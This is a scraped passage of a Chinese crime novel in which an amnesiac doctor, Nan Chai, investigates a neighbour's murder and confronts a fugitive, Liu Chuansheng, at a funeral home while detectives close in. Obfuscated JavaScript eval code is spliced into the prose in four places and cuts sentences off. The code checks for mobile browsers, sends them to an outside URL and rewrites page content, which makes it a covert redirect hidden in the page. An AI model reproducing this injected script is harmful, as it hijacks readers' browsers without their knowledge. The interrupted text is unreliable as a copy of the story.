可惜蓝塑料袋还没被打开细看过,她又想到陈扫天被医用剪刀刺过,凶手只需要带走剪刀就好,何必费力脱掉他的衬衫呢?莫非衬衫上留下了凶手的痕迹? 南钗蹙起眉头,还是不对,如果衬衫有凶手的痕迹,凶手又何必把它连凶器一道藏进她的衣柜呢?这不是栽赃,而是自曝了。 这么想的话只有一个解释:她本人就是凶手。 南钗还没想完,突然屋里响起一阵嗡鸣声,她坐起来,声音来源是书架那边。她抽出一本封皮斑斓的新书,撕掉塑封膜,里头的书页却微微泛黄。展开一看,书的内页被掏掉见方的一块,里面藏了部老诺基亚手机。 就是它在响铃,来电显示一串未知数字。 南钗想起有这么一段记录,她曾经买过一部直板按键手机,插的是网购的预付费物联网卡,非实名制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“考验我是不是。”小展昭说:“那男的姓刘,叫刘川生,A级通缉犯,十五年前曾经活跃在西江市和周边地带。” 南钗手指微微攥紧机身,追问道:“哦?他犯了什么罪?” 小展昭自信道:“他是两起灭门案的第一嫌疑人。第一起杀害了一家三口,第二起杀害了一对祖孙。时间都是大约十五年前。不知道还犯没犯过其他案子。昨晚不是告诉过你了吗。” “咱们昨天几点打的电话?” “晚上七八点吧。然后你说你知道了,突然想起来还有点事,就挂断电话啦。” 南钗机械地找到热缩塑料膜和吹风机,说:“我现在又想起来有点事。” 浴缸里的水热了又凉,南钗干脆一直开着热水,她整个人浸在水里,只剩额头和口鼻浮出水面,又一次次沉下去,海豹呼吸似的换气。 第不知道多少次淹死自己的幻想失败了。 脑子里一直是同个画面,堆叠啤酒箱的巷口,今天晚上,排水管,猫叫,小湖泊似的水洼,还有走向水洼的她。 南钗弯腰折身,双手后扬,猛蹬地面就跳过去了,她第一次发现自己的身体很擅长立定跳远。脚跟刚好落在水洼另一边。 走过去才知排水管里没卡着猫,野猫在墙角另一侧好好蹲着,伸爪子掏老鼠洞,见南钗被诱过来,咝咝嘲弄两声,一甩尾巴跳上墙头不见了。 她是折返时才想起来的。 这次要出巷道,当再次站在水洼前,南钗彻底目测清楚了。那片水洼的长度差不多是两米五。 和301、302阳台的间距差不多。 两米五,没必要用梯子搭桥,她自己就能跳过去。从这里正正好好能跳到陈扫天的案发现场。 南钗隔着水面睁眼向上看,眼睛有点刺痛,卫生间灯光冰冷地照下来,又被水波扭曲,让她看不清世界,也看不清自己。 # 岑逆拿着证物袋从技术大队出来,里头是陈扫天的手机,迎面遇上一大队的刑警,拦住说:“陈扫天案现场附近的蹲守是不是没动静?” 刑警叹口气:“是。那边人说南钗的小姨苏袖来了一趟,在门口等一个小时,南钗回家后才共处了十分钟就走了。出来后我们查了苏袖的随身物品,没有发现夹带。南钗现在在家,什么动静都没有。” “被害人的手机数据恢复了,通话记录被删得一干二净,运营商那边我让小贾去查过,也没什么特别的联系人。你准备联系一下桃源小区附近的通讯基站,列个单子回来。” “啊?” “啊什么啊。”岑逆揉着眉心,“我怀疑陈扫天有另一部手机,专门用来联系不明社会关系。” “好嘞。还有虎子把南钗的家庭资料调回来了,说有大发现,您看看吧。” 岑逆回到办公区,一本文件已经放在桌上,他看见封皮格式,表情一肃,翻开第一页。 西江黄粱区-213入室杀人案。 “十五年前的案子啊。”小贾也凑过来看,“嗬。被害人,南家珍,赵一斌。两口子都是医生。” 岑逆的声音也低下来,缓缓道:“悬案,只有一名时年八岁的幸存者。案子十五年至今未破,凶手可能仍然在逃。” 4. 凶医 南钗在江边跑步。 这是她今天起床后决定做的第一件事。 西江市以西江得名。秋冬时节,西江人的母亲河不再臂弯柔软,冷水硬得像一条铁。南钗已跑了半小时,逐渐放缓速度,蹲身蛙跳起来,接连跳出约莫三百米,汗冻在兜帽背后,身上却聚不起暖意。 越是不累越是心惊。最后,她干脆摆臂跳远,记住每次落地的距离。 “哒……哒……哒……” 两米五,两米五,又是两米五。 她干脆猛蹬几步,侧踏一脚围栏,整个人滞空半秒,连贯成一个简单的跑酷动作,鞋底嵌的石子擦出短促锐响。这次不到两米,但运动产生的内啡肽凉水般淹透了她。 南钗表情愈发寒凉,微一喘气,干脆提速狂奔而去,不再顾及呼吸节奏,直跑到下一个通往江滩的口子,有只老旧的青蛙形垃圾桶被遗忘在石子滩上。她单手一撑,翻身坐上江堤围栏,低头盯着自己的鞋尖。 “小姑娘又来锻炼呀,经常在这看见你。”路过的运动装老妇人朝她笑。 “早上空气好。”南钗回了个急促的笑,静了静,“您买早点没带孩子一起啊?”老妇人提袋口耷拉出一枚牵引儿童的尼龙手环,早点也是三人份的,两杯豆浆一杯奶。 “哎哟,哪里起得来,现在小孩子作业多得不行嘞。”老妇人走远了。 南钗身体往后一折,倒挂着眺望江边,绿青蛙垃圾桶在寒风中张着黑洞大嘴。她看了一会石子滩上的钓鱼人。坐起身,手机时间显示早六点半,桌面背景是张全家福,她的父母抱着个土里土气的襁褓,一齐冲镜头外的她傻乐,他们永远年轻。 手一抽搐,按键锁屏,锁屏还是那句“你是南钗你有失忆症”。这话比任何时候都像一句嘲讽。 她需要一个答案,她知道去哪找答案,无论答案背后藏着什么。 来到平西路时,已经是四十分钟后。南钗上次到这个地方是一周前,约她吃饭的正是苏袖,最后不欢而散暂且不提,她离开火锅店走了一段,就撞上陈扫天和刘川生上了同一辆车。 为何事后画下刘川生已不可追忆,南钗重新拿出那幅速写。刘川生是个干瘦男人,卷在皱巴巴的树皮色冲锋衣里,像只老狐獴,挂了双比眼睛阔大许多的眼袋,眼睛暗暗射`出注意四周的阴沉神情。 他被一双粗手攥着肘部塞进陈扫天那辆沃尔沃suv,手是陈扫天的。 南钗站在路口,稍一环视就找到了蕊英面馆。左侧是疑似倒闭的小建材公司,卷帘门的灰层被前周下的雨和了泥浆,完好无伤;右侧是间学生文具店,兼卖教辅试题。都不是陈刘去的地方,但他俩确实在这片上的车。 她要想清楚两个问题再迈腿。 如果是她杀了陈扫天,那么刘川生认识她吗?如果这家面馆和他们有关系,那么面馆认识她吗? 蕊英面馆人头攒动,最后一批吃早饭的书包少年们正往外赶。南钗口罩帽子遮面,搓了搓薄手套,不引人注意地逆流而上,找了张靠角落的桌子。店里很快没了校服的影子,桌椅地面裸露出来。 服务员先来撤了南钗桌上的空碗,边擦桌子边问,“吃点什么?” “一碗清汤牛肉面,大碗细面。再来壶开水。”南钗数出两张纸钞。 服务员嫌麻烦,“客人扫码支付更方便呢,碰一碰也可以。” “手机没电了。”南钗推出纸钞,“借个充电宝行吗。” 充电宝和汤面一起来的,端面的是个棉线衫磨得起毛的白鬓男人,把碗一搁,看都没看南钗帽檐下的脸,沙哑地说了句“清汤大细好了”就背身离去。 南钗搅了搅面,从碗沿边望出去,店里还有三人坐着。分别是刚送完孩子的家长,刚从门口折返,对着桌上的残羹轻吁一口气。还有个西装革履的男上班族,正对着南钗的方向吸溜面条,头糟发乱双颧微红,不知是早起上班还是已加了一夜班,很命苦的样子。第三个就是刚刚的白鬓男坐在柜台最近那张桌边打手机扑克,他的神色和穿围裙的服务员不一样,依照着面馆名,南钗猜测他是老板夫。 她这才夹一筷子面条,慢悠悠吃了半碗,家长和上班男走了,店里空下来。服务员扭身进了卫生间,老板夫在椅子后发出鼾声,一道黑影在后厨帘后忙碌。 “你好,我要的开水没上。”南钗冲着后厨轻声说。 那道黑影走出来,一张疲惫的中年女人脸,穿一身素黑色,头发乱糟糟,眼结膜发炎,将水壶放在南钗桌上。南钗接过来,手指在壶柄粘了一下,又不着痕迹地撕下来。 中年女人走过老板夫躺着的椅子,从柜台后拿毯子盖在他身上。老板夫被惊醒,含糊地说:“嗳,你快歇着去,这几天太累。明天还要……” 声音越说越低,南钗听不见了,看一眼壶柄没留下酒精胶屑,又用滚水烫过筷子尖,来来回回烫了两遍。大约是蕊英的女人回后厨去了。南钗戴好口罩,拿起充电宝和线,走向老板夫:“谢谢啊。” 老板夫惺忪地接过,南钗开口撒谎:“我上周来吃面的时候,围巾好像落在这了,您能帮我调下一周前的监控吗。” “都一星期了才来找,就一条围巾……”老板夫打量她。 “我男朋友给我织的。”南钗说:“本来以为塞家里了,这一周都没找到。今天又路过这吃你家的面,才想起来上周也来过。实在麻烦您了。” 老板夫终于软下来,“好吧,你跟我来。”他带南钗到柜台后,点开历史录像,“七天前,十一月四号是吧?你几点来的,当时坐哪桌,穿什么衣服?” “是。应该是中午,最后面那桌。衣服倒想不起来了。” 老板不疑有他,“你还挺会坐,全店就那桌监控拍不全。我加上倍速,你自己盯着点人来人往吧。” 视频四倍速播放,从四号中午十一点多开始,店门逐渐涌入客流。其中当然不会有南钗。她看见陈扫天和刘川生在店门口拉拉扯扯是将近下午一点。 南钗看了二十分钟视频。到十二点半,店里客人换了两波,就是没有他俩。路过的服务员目光奇怪,说了句,“你的桌子可以撤了吗?” “可以。”南钗答这句的时候,画面边角晃过一个人,没看清,但她心中的某条线动了。 退回去换成正常倍速,人影是从店门外投进来的,只能看见半截粗腰和长长的裤腿,又高又胖,与画中的陈扫天极为相似。 陈扫天没进店,南钗切成慢速,目不转睛等待刘川生也经过门外。下一秒,一道瘦影子从监控画面内侧走出来,歪歪斜斜地,垂着头推开门,一把被陈扫天拉出去了。 树皮色冲锋衣,瘦巴巴,罩在头顶的连帽一出门就被风掀下去,露出半边狐獴似的脸。 刘川生。 南钗回头一瞧,刘川生当时是从后厨方向来的。 此刻后厨的布帘摇曳着,中缝处站了个人,老板蕊英裹在素黑衣服里,左手提了把菜刀,那双结膜泛红的眼睛冷冰冰瞧着南钗。南钗手指无声敲动,将视频倒回最开始。 “你在做什么?” 蕊英显然不认识她,这让南钗松了口气,目光落在蕊英持刀的手上,风干肠似的手指缠扭在刀柄上,侧曲的小拇指节微翻,露出一小块油腻腻的木头,像张愤怒的嘴。她收刀走过来,查看屏幕上的视频,“啪”一声按下去,电脑屏幕黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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南钗走过去,电线切口大体整齐,断截面两侧受压豁起,是被人为剪断。裸`出的金属芯断点弯曲延长,利器的锐利程度一般。 左右看一眼,远处传来细碎的脚步声,“哒哒哒哒。”南钗缓步朝与来路相反方向转出去,突然踩中一张新打印纸,像是从电线杆掉下来的。 讣告 沉痛通知各位邻里亲朋,慈母方A巧于2X26年11月10日0时14分病逝。享年75岁。 兹定于2X26年11月12日早八时于静华路殡仪馆火化,叩请邻里亲朋到场送别。 孝女:刘蕊英孝婿:唐成刚 孝孙:唐汝文 敬上 南钗的视线扎在那个“刘”字上。 刘蕊英也姓刘?她和刘川生是什么关系? 某种在面馆里打断的东西,丝丝缕缕地绕在视网膜上,搔得脑仁痒痒,却又一时间捉摸不住。 失忆的好处在这报答了南钗,她什么都记不住,这代表每天都有一颗未磨损的新脑子。她的眼睛一向铮亮。 想起来了!是最后那个监控画面! 刘川生走出面馆时遮了半边脸,手却落在身侧。在某次摆臂动作中,监控较为清晰地拍下了他的手。 左手小拇指的骨关节微微侧弯,朝无名指内扣,显然是一种无伤大雅的骨性畸形。 南钗见过一根类似的指头,长在十多分钟前刘蕊英持刀的手上。她之前以为是常年劳作的影响。 原来是家族遗传。 南钗回身望去,通向面馆后门的夹道两侧都是居民楼,只有右侧的几扇单元门朝向夹道,每一扇都连接着约十五户陌生的民居。不知其中是否有刘川生的藏身之处。 突然,道侧脚步声骤然清晰,一条地包天的狗从岔路杀出来,嘹亮地冲她狺狺。静谧的楼区霎时以南钗为圆心,犬吠响彻居民区,回声击打在四面八方的窗玻璃上。 “去!去!”狗根本不理会她的驱赶。 蕊英面馆的后窗晃过人影,后门开了道缝,老板夫先看电三轮在原地,又转脸观察夹道。南钗已经一旋身,快步消失在转角之外了。 5. 凶医 南钗越想越不对劲。 她坐在咖啡厅里,手边是刚拆开的电子产品纸盒,黑咖啡早已不再冒白雾,那张小画扣在桌上,她将它翻过来重看一遍。 纸上的刘川生依然被陈扫天拽着,树皮色冲锋衣,神色阴诡。每个特征都被简笔刻画,该上的色也上了。乍看并无疑点。 南钗手指盖住刘川生的脸,逐毫米上移,最先露出来的是他的嘴,半边抿住半边撇开,用较深的颜料带了一笔。跟很多中年男人一样,唇色偏紫,像衔了口豆沙。 不对。 准确地说,应该是紫绀色。 旁边陈扫天的肤色比刘川生亮上两度。刘川生整个人像蒙在一层薄灰腻子下面似的,泛着暗暗的苍白。这种病容是南钗学习过的。 他被拽住的前臂本能向内弯折。如果没被外力打断,那应该是个捂向心口的动作。 心肌疾病。南钗突然想起这个词。刘川生可能患有中轻度的心肌炎。 手机天气显示,十一月二三号下雨,那两天寒潮席卷平江省,气温骤降。恰逢二刘的母亲方A巧离世前夕,在病逝的拉锯过程之中。 南钗想通一件事。刘川生逃亡十五年,他回到西江市这处最致命的罗网中,必有其因。大约是为老母送终。这也解释了他为什么四号出现在蕊英面馆。 方A巧还未离世时,刘川生却病了,无论他病在早前的逃亡岁月,还是病于寒潮和悲痛,他需要一个不走正规途径的医生。陈扫天就是那个心内科专家。 陈副主任秘密医治过一名通缉犯,此后不到一周,他被杀死在她的隔壁。 从她家到隔壁要跳两米五,还要与高胖的陈扫天搏斗。通缉犯本人一周前还瘟鸡似的被陈扫天提在手里。 还有重要的,最重要的是,刘川生背的两起灭门案和她双亲去世的悬案过于相似,从地区到时间。她在陈扫天被杀几小时前知道了这个信息。 南钗一口气干了那杯咖啡。她现在处于所有意义上的真空地带。不管是她还是刘川生干了那件事,她的问题都无法被解惑。 前天晚上刘川生有能力杀害陈扫天吗? 凶器和血衣为什么在她衣柜里? 不管她是真凶还是替罪羊,为什么直到现在都没人来找她? 现在警方找不到凶器,已有证据根本摁不死她。她下周就能回医院上班了。但她隐约有种预感,预感自己可能回不去。她迫切地需要搞清楚刘川生,亲眼看到他,看他的身体状态,以及其他可疑的地方。 手机调出那张讣告照片,南钗默念一句,“十二日早八时,静华路,殡仪馆。” # 岑逆坐在副驾驶打电话,膝上摊开一本文件夹,刘川生和刘蕊英的照片并在一起。 “十一月四号下午一点十分,陈扫天和刘川生会面后开车向东,消失在通乡大道分叉口的监控盲区。劳你今天去通乡摸一下,我这人都派出去了。车是黑色沃尔沃C60,照片都发你了。哎,哎,哥们,好好好,辛苦,回头吃饭。” 他放下手机,又问后座的虎子,“经侦那边什么进度?” “陈扫天的银行流水有问题。”虎子斩钉截铁:“近一年有多笔他妻子不知道的存取款,时间越近频次越高,数额也逐渐增大。” 小贾啧啧有声:“哎哟,这也太明显了。” “开车别说话。开快点。”岑逆歪头眺了眼,平西路口已出现在地平线边缘。 车稳停在蕊英面馆门口,下午两点半生意正清淡,一行三人迈进去时没顾客。 岑逆环视一圈,四面格局尽收眼底,他目光拂过后厨布帘,估了下前后通道,最终钉在打消消乐的服务员脸上,手指叩叩柜台,“你好,找你们老板两口子。”小贾亮起证件。 刘蕊英被叫出来时仍是怏怏的,根本没问警察的来意,低眉顺眼地说了句不咸不淡的话,“同志,有什么事过两天再问行么。我家有丧事,明天出殡。” “今天还开张呢,怎么没在家忙啊?”岑逆微笑得客气,看向墙角的摄像头。 “孩子上学,家里要糊口。殡仪馆那边有亲戚帮忙,我一会也得去。”刘蕊英疲倦道。 “节哀。”岑逆话锋一转,“亲戚也分远近,一般担这事的都有情分,堂表不如亲,不是自己家人也不敢托付……你说是吧。” 刘蕊英叹了口气,没说话,眼睛躲着岑逆往地上看。 岑逆单刀直入,语气越发轻飘,“你见过刘川生了。”他说的是个肯定句。 面前的女人决心反抗到底,上牙牢牢锁着下牙。任凭警方一再追问,刘蕊英只有沉默,最后就憋出六个字:“没看见,不知道。” 虎子和小贾板着两张脸,到底难说出将她带走的话。岑逆却一身轻松,走到柜台后面,由着刘蕊英避过两步,说:“店里监控拷一份给我。” “没了。”刘蕊英梗着脖子,“删了。” 小贾眉毛都立起来了,“谁删的?” “我删的。不会弄电脑,今天乱点乱碰不小心删了。” 岑逆来了点脾气,也不发作,指指窗外的街道:“你家监控删了,外面那么多治安和交通监控可删不掉。谁来过谁去过瞒不过警方。我们这个节骨眼上也不愿意来打扰你,但程序就是程序,有你没你我们照样破案。” 刘蕊英还犟着,咬死俩字:“没有。” 岑逆拿出陈扫天的照片,“这人认识吗,见过吗。” 刘蕊英看了两秒,又推,“没见过。” 虎子摆弄电脑半天,冲岑逆一摇头。 岑逆缓缓吐出一口气,从随身小纸本撕下一张,放在柜台上,又环顾四周,“行。那我们走了。刘蕊英,你还有相依为命的老公孩子,没事多为他们考虑考虑,啊,想想他们愿不愿意生活在刘川生的阴影之下。” 他带着虎子小贾往后厨走,刘蕊英要拦,虎子说:“就是借道而已。放心,我们今天不会再打扰你了。” 刘蕊英看一眼虎子,压抑的表情震了下,震出一句:“你们的人今天还少来打扰了?”说完又闭嘴低下头。 “什么意思?今天有别人来找过你?” “没,没什么。”刘蕊英让开道路,又恢复了那副冷冰冰的模样。 三人走出面馆后门,一进夹道,小贾望着附近的老楼说:“副队,你说刘川生会不会就藏在这一片?离他妹妹近,嘿,连饭钱都省了。” “不会。刘蕊英知道的应该不多。起码那句没见过陈扫天是真的。”岑逆走到垂落的电线旁边,鼓腮吹口气,断线轻轻晃动,“她敢让咱们从这出来,就是也不确定刘川生在哪。而且她可能信不过刘川生。” 小贾“啊?”了一声,还是虎子反应比较快:“刘家兄妹上次生活在一起是十五年前,十五年,亲兄妹也是陌生人了。到今天,就算刘蕊英念旧情,也未必敢让刘川生进入她的生活,她有家庭。你别忘了,刘川生身上至少五条人命。” 岑逆继续往外走,说:“更何况,兄妹俩的母亲刚刚去世,老太太十五年没见过儿子,养老送终都压在刘蕊英身上,替亲妈也得恨。” “有道理啊。我明白了。”小贾恍然大悟。 “你明白个屁。”岑逆白他一眼,“既然不是刘蕊英,刘川生在外面还有别的依靠。原来可能是陈扫天,但陈扫天被杀了。不管陈刘有什么勾当,不管凶手姓刘还是姓南,所有突破口都在刘川生身上。” 这话说得奇怪,刘川生连根毛都没露,南钗却在警方眼皮子底下,要有突破口也该是南钗才是。逮刘川生和大海捞针有什么区别。 小贾对上岑逆的视线,倏然明白过来,南钗滑不溜手,而有一个场合是刘川生必会出现的。他冒险回来就是为了这个,哪怕只是远远看一眼。 “方A巧的葬礼。如果南钗是为双亲复仇杀害陈扫天,那下一个就是刘川生。葬礼是唯一能确定蹲到他的地儿。错过这次,刘川生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穿制服的殡仪馆人员,那对正在携手上香的宾客两口子,走廊里经过第三遍的闲散人员,大门口戴着耳机暗看所有人的保安…… 还有刚刚那个撞到唐汝文的清洁工,绝对是个二十来岁的年轻人,只是恰巧干瘦。 他们全都是便衣警察。 南钗搓念珠的动作没停,细数每一名走入灵堂的宾客,用揉成一团的纸巾按按眼角。刘川生到底在哪? 她检查过几乎所有人,唯独没看到刘川生,他还能藏在棺材里不成? 水晶棺里瘦小的方A巧被绸布裹着,遗容平和,一张脸被工巧地化过妆,皮肤像被盘亮的赭色石头。那双桃核般微凸的眼皮闭着,扁扁的嘴唇被粘住,已经是一尊渡离苦厄的塑像了。今天须求她赦罪的不孝子尚无影无踪。 “各位亲朋好友,今天我们怀着沉痛的心情,在这里告别逝者方A巧女士,敬送方女士走完人生的最后一程……” 一声沙哑的哭泣乍迸出来。 刘蕊英蹲在地上,唐成刚一手牵着儿子,另一手去拍她的背。所有人的目光都集中在他们身上。 只有南钗看向灵堂厅门外。 她把手机贴在耳旁,接到电话似的,无声朝门外移动而去。期间还和一便衣乔装的宾客照了半面,但没引起对方的注意。 里面悼词声音再次响起,走廊远远聚着别家葬礼的亲友。刘家这里只剩一段空走廊,花瓣稀疏地落在地上。门口那个保安便衣往这望来。他显然什么都没察觉到。 南钗绞紧那串念珠。 刘川生刚才在走廊里,他来了。 她往前走,维持听电话的样子,用鞋尖去碾落地的花瓣。灵堂方向的声音依然洪亮,刘蕊英的哭声听不见了,突然飘来一段轻柔的音乐。 等一下。 南钗抬起头。她知道了。 原来刘川生扮成的是那个人。 6. 凶医 南钗前后眺望两回,别家丧礼门口的亲属中并无刘川生的身影。她向前走去。 别家的灵堂也宾客满站,是个藏人的好地方,混进去转一圈需要三分钟。南钗步伐不停,兀自掠过,大门那儿的保安便衣看过来了,他被引起了注意。南钗一转身,推开电梯旁边的铁门。她看见保安便衣摸向对讲机。 消防通道比灵堂还要阴凉,南钗几步跨上楼梯,踩大理石地砖的声音格外明显,而她头顶上却一点响动都没有。铁门隔绝外界,这安静有些不同寻常。 要么刘川生没来这,要么刘川生已经从某层离开,要么……他一听到她就站住了,此时此刻静立在南钗之上,可能用他阴沉的目光盯着她。 她之前瞥到过的刘川生的样子,他差不多是健康的,能搬起东西,她不一定能打过他。 楼上某扇窗开着,风吹进来,不知吹到什么东西,带起不属于大理石的沙软声响,很轻。 南钗拔掉脚上的矮跟皮鞋,将它藏在背后,贴着墙根往上蹿。白天消防通道没灯,天阴得厉害,昏暗极了。她不得不卡着死角时时观察。 上到开窗那层时,视线内突然撞入一团阴影。 她全身都绷紧了,几乎是条件反射般退下两阶,皮鞋差点就砸了出去。 那团阴影无声无息,匍匐在二层半的消火栓下面。它是一对灭火器,只是摆在壁柜式消火栓正下方,中间只隔了一段白墙,才像个白裤子的人贴墙站着似的。 南钗走过去,从灭火器后掏出一只鼓囊的塑料袋,印着连锁商场logo,袋口没系,里面的东西滑落出来。 是一身衣服。 南钗毫无疑问见过它们,尤其是马甲和帽子,印象非常深刻。 二十分钟前,唐汝文在走廊跌倒的时候,她瞥见过一眼,但没有在意。 那个搬花圈到灵堂门口的派送师傅。 花圈被唐汝文撞得散了一地,也没说任何话的那个沉默的工具性人员。 不属于宾客,也不算殡仪馆的员工,没人注意的来过即走的第三方。他比想象中要难对付得多。 那么,刘川生就此离开了吗?灵堂门口远远一瞥的角度,连水晶棺都看不真切。他逃亡十五年,那一瞥就是他和老母最后的告别吗? 南钗牙齿反复摩擦嘴唇,原地踱步两圈,忽地跑出铁门,扫了眼楼层图。这里是顶层三楼,办公区,走廊比一层灵堂区短小很多。电梯显示停在二楼。 这不对,她从一楼上来时,电梯原本停在三楼。刘川生始终快她一步。 她没回消防通道,那里可能已经有人在搜索,直接乘电梯下到二楼,二楼走廊尽头,一扇没有标识的米黄色大门半掩着,如同死者微睁的眼皮。 殡仪馆有两条互相独立的动线,员工区域在那扇门后,隔绝无需被宾客目睹的一切,比如工作人员的衣食住行,再比如遗体的取送与火化。 倘若刘川生想彻彻底底陪送方A巧最后一程,不一定非要在灵堂,还可以在焚化炉旁边。 南钗回头看了眼电梯和消防通道,紧紧衣襟,安抚发冷的身体,快步走向那扇米黄色大门。 岑逆站在能看清所有人的灵堂一角,礼仪师已将方A巧一生的勤劳善良颂读到最后几句,声音盖过耳机里的各路汇报。他缓缓环视四周,目光一顿。灵堂里少人了。 那个接电话的黑衣服胖妇女,始终没有回来。外面的布控点八分钟前说她进入消防通道,他们只在二楼半处找到一套派送员的服装。监控室也传来消息,疑似刘川生和南钗的两人先后潜入员工区,可惜摄像头覆盖不全,只拍到运尸车旁一闪而过的影子。 “保护现场群众,避免在灵堂与刘川生正面冲突,防止他挟持人质。”岑逆低声对旁边的虎子说。他说话时嘴唇不动,眼睛瞧着黑白大奠字旁的侧门,几名殡仪馆人员把方A巧的棺材搬到灵车上,每个人都戴口罩,其中一双眼睛是小贾。 “那南钗呢?”虎子问。 “先管刘川生。”附近两名便衣聚拢过来,岑逆带他们靠向灵车,“如果发现南钗和刘川生在一起,一并实施抓捕。” 然而直到方A巧的遗体被推走,灵堂宾客齐齐鞠躬,在礼仪师的号令下敬送逝者往生时,刘川生仍是没有露面。 “灵车这边一切正常,刘川生会不会已经走了?”小贾在耳麦里压着嗓子。 频道又响起监控室点位的声音,“副队,那名妇女摸进了员工休息室,接着又有个年轻女职工离开休息室去往焚化区。现在员工休息室是空的。疑似是同一个人。” 已经过去七分钟,宾客大多疏散到下一个等候点,堂内只剩散落的奠纸和白花,岑逆没管旁人诧异的目光,带人追入侧门。虎子心领神会地站到刘蕊英一家旁边,刘蕊英红眼看过来,被唐成刚扶住胳膊,最终什么都没说。 后台通道曲折而漫长,没开窗户,却有阵阵冷风吹来令人不安的味道,上到二楼后尤为刺鼻。 岑逆刚经过员工休息室,先被派来的便衣和对接的馆内领导走出来,说:“丢了两套衣服。” 南钗身上的制服不太合身,化纤黑西装的标签让她颈后刺痒。推开焚化区不锈钢门时,里面传来呼呼的气流声,三号炉内有另一具并非方A巧的遗体在焚化。心理作用让她感到全身冷热交替,好像也被烈焰舔舐。这里却不见其他人员,只有个佝偻的锅炉工在擦拭骨灰台,左手攥一小方抹布,小指微微内弯。 一把铁锹立在墙根,墙壁与储物柜的阴影之间露出半道鞋帮,有双鞋横放在那似的。南钗前移一步,余光看见鞋帮之上有平伸的袜子和脚踝。 “姓方的静思厅的遗体要送来了,准备一下。”南钗在口罩后公事公办地说。 锅炉工没看她,自顾自一点头,按钮打开另一扇炉门,目光自黑洞洞的焚尸炉洞口转向南钗,似是比量南钗身高和焚炉深度的短长。 “你是女警。”锅炉工彻底转过身,眼皮浮肿,身材干瘦。 刘川生的脸仍残余病容,但南钗没法再怀疑他杀不死人。 “你记得南家珍和赵一斌吗。”话说出来,南钗自己都吓了一下,她没想到自己脱口而出的是这一句。她被私心操纵着往下继续,“十五年前,黄粱区二一三案。” 从休息室顺的螺丝刀藏在袖管里,已经没用了,刘川生有一把长长的铁锹,可能还有别的武器。刘川生提起那把铁锹,随脚踢开柜边伸出的横鞋,那鞋软弹地动了下。他朝南钗走来。没回答任何问题。 “为什么杀陈扫天。”南钗边退边问。 这次刘川生开口了,用一种刻板腔调回答:“陈扫天……哦,对,听说他死了。但不是我杀的。” “你觉得是谁?”南钗手肘碰到门边,门虚掩着。她的声音并不颤抖,“谁介绍你和陈扫天认识的?” 刘川生望着她,答非所问,“你是警察吗?你不像。” 南钗背后的手指攥住门,预备用不锈钢门接住第一击,然后再亮螺丝刀。可就在这时,门外传来金属摩擦声,员工通道大门被打开了。 不知先到的是警察还是方A巧的灵车。 刘川生抄起铁锹向南钗掷来,南钗闪身一躲,不锈钢门发出凄厉的一嚎,刘川生上手拧了门锁。旋即猛然转身,挥臂一道寒光扫向南钗的颈部,被她用螺丝刀格开,一柄拇指长的小刀险些脱离他手。 门是全封闭式,谁都看不见门外的景象。 他怨恨地看了南钗一眼,微喘一口,发足疾奔到窗边,一缩身翻了出去。这里是二楼。 南钗扑过去往下看,只见刘川生像只硕大的蟑螂,顺着水管迅速向下爬,在距地面一人高时松手跳落,朝着停车场西边溜走了。她咬咬牙,跑到储物柜边查看那具“尸体”,那额头带血的老头闭着眼,幸好还有一丝脉搏。 她看见对方腰间有串钥匙,而空间另一端有道几乎与墙壁融为一体的废弃窄门。 南钗旋开正门反锁,钥匙扔回老头身边,听着电梯方向的脚步声,迅速钻进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026835|194460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那扇窄门。 几秒钟后,岑逆带着小贾推门冲进来,枪口对准焚化间,里面已经没有南钗和刘川生的影子。只窗户四敞大开,另一面墙根底下抖落了腻子粉,原是抹进一道窄门缝里的。他看见被拖出半边身子的老头子,“快救人!” 确认老头没有生命危险,他跨过地上的铁锹和小刀,透过窗户看出去,殡仪园停车场早就没了刘川生和南钗的身影。园外布控的人说什么都没看见。岑逆眉头紧锁,等监控再次排查到他们往哪跑,人早就飞出静华路了。 南钗的确已经离开静华路。 那扇废门通往整座殡仪馆主楼的后身,一段已经被封锁的外楼梯。从那里跳入一片荒草横芜的砖地,西向那道老殡仪园改建前的旧门,如今被砌作一道敷衍了事的矮墙。那个方向和刘川生溜走的路线大致相同。她跑过去。 矮墙腰处有两处新鲜的斑驳,鞋跟踢蹬过的痕迹。南钗眼睛一亮,扒着墙沿爬上去,又险些掉下来,墙头用水泥糊了一排碎铁皮和玻璃片。 定睛一看,铁皮尖端勾了一丝线头,灰白色,和锅炉工衣服一个颜色。 南钗想了想,脱下黑西装外套往上一甩,西装从墙头搭下来,女鬼头发似的,在寂静的园边异常醒目。她翻墙时感到鞋底被碎玻璃割坏了。 刘川生可能消失的地方是条同样荒凉的街,没什么车,稀疏两三间门店牌匾都摘了,贴着旺铺招租,只街角有家殡仪用品店,也大门紧锁。街面上久久不经过一辆车。这地儿唯一有生气的是个公交站台。 公交站台只经停两路线车,二十三路和城市机场大巴,南钗打开手机地图,前一辆机场大巴经停是半小时前,而前一辆二十三路刚刚离开五分钟。 